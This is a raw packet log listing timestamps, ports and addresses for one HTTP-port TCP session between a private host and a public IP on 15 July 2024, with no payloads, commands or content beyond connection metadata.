Jul 15, 2024 00:48:36.108711958 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.108716965 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.108728886 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.108738899 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.108742952 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.108752966 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.108764887 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.108764887 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.108786106 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.108808041 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.108810902 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.108819962 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.108833075 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.108834982 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.108846903 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.108859062 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.108859062 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.108870029 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.108882904 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.108889103 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.108905077 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.108911991 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.108918905 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.108931065 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.108941078 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.108949900 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.108953953 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.108968019 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.108979940 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.108983040 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.108993053 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.109000921 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.109004974 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.109015942 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.109021902 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.109038115 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.109045029 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.109066010 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.109414101 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.109426975 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.109436989 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.109462976 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.109632969 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.109644890 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.109657049 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.109668016 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.109674931 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.109684944 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.109747887 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.109757900 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.109769106 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.109786987 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.109791040 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.109802961 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.109805107 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.109819889 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.109827995 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.109832048 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.109843016 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.109854937 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.109889030 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.110755920 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.110768080 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.110779047 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.110790014 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.110800982 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.110810041 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.110814095 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.110826969 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.110831976 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.110838890 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.110846996 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.110852003 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.110866070 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.110872030 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.110887051 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.110898972 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.110899925 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.110912085 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.110924006 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.110933065 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.110937119 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.110949039 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.110950947 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.110964060 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.110975981 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.110976934 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.110990047 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.111000061 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.111011982 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.111013889 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.111025095 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.111028910 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.111037970 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.111048937 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.111061096 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.111061096 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.111076117 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.111077070 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.111088991 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.111103058 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.111112118 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.111131907 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.111453056 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.111466885 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.111479044 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.111491919 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.111502886 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.111509085 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.111516953 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.111532927 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.111536026 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.111547947 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.111567020 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.111579895 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.111591101 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.111598969 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.111603975 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.111617088 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.111629009 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.111637115 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.111639977 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.111650944 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.111660004 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.111666918 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.111671925 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.111711979 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.111990929 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.112003088 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.112015009 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.112026930 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.112036943 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.112040043 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.112052917 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.112063885 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.112065077 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.112077951 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.112083912 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.112091064 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.112102032 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.112113953 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.112117052 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.112133980 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.112134933 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.112149954 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.112163067 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.112170935 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.112174988 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.112186909 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.112198114 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.112199068 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.112210989 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.112215042 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.112225056 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.112236977 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.112241983 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.112250090 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.112268925 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.112272978 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.112286091 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.112297058 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.112310886 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.112313032 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.112323999 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.112335920 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.112335920 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.112349033 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.112360001 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.112361908 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.112375975 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.112385035 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.112395048 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.112406969 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.112418890 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.112426043 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.112432957 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.112446070 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.112451077 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.112467051 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.113046885 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.113059044 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.113070965 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.113081932 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.113090992 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.113094091 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.113107920 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.113111019 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.113121033 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.113133907 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.113142967 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.113147020 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.113157034 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.113161087 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.113177061 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.113199949 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.113203049 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.113217115 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.113229036 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.113234043 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.113241911 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.113255978 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.113260031 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.113267899 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.113281965 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.113285065 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.113295078 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.113303900 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.113308907 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.113321066 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.113341093 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.113343954 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.113364935 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.113503933 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.113513947 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.113542080 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.113569975 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.113583088 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.113594055 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.113606930 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.113611937 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.113632917 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.113636017 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.113646030 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.113658905 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.113667965 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.113678932 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.113701105 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.113720894 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.114358902 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.114372015 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.114382029 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.114394903 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.114407063 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.114420891 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.114434004 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.114445925 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.114456892 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.114468098 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.114468098 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.114468098 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.114468098 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.114489079 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.114491940 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.114502907 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.114511013 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.114517927 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.114532948 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.114538908 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.114548922 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.114563942 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.114567041 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.114588022 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.114600897 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.114607096 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.114614010 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.114624977 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.114638090 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.114638090 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.114650011 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.114662886 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.114665031 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.114676952 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.114682913 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.114691019 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.114702940 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.114715099 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.114727020 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.114727020 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.114739895 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.114753008 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.114753962 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.114768028 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.114772081 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.114780903 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.114789963 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.114795923 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.114806890 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.114814043 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.114820004 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.114835024 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.114841938 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.114849091 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.114876986 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.114964962 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.115262032 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.115274906 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.115284920 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.115297079 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.115308046 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.115313053 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.115322113 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.115334034 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.115344048 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.115345955 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.115355968 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.115360022 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.115371943 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.115381956 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.115385056 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.115397930 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.115400076 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.115410089 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.115423918 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.115423918 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.115437031 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.115449905 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.115452051 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.115463972 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.115478039 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.115484953 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.115508080 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.115601063 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.115612984 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.115623951 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.115643978 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.115647078 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.115655899 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.115669012 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.115669966 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.115681887 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.115695000 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.115695000 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.115705967 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.115719080 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.115720987 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.115731955 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.115741014 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.115745068 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.115757942 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.115771055 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.115777969 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.115796089 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.115796089 CEST	57614	80	192.168.2.5	23.227.193.59
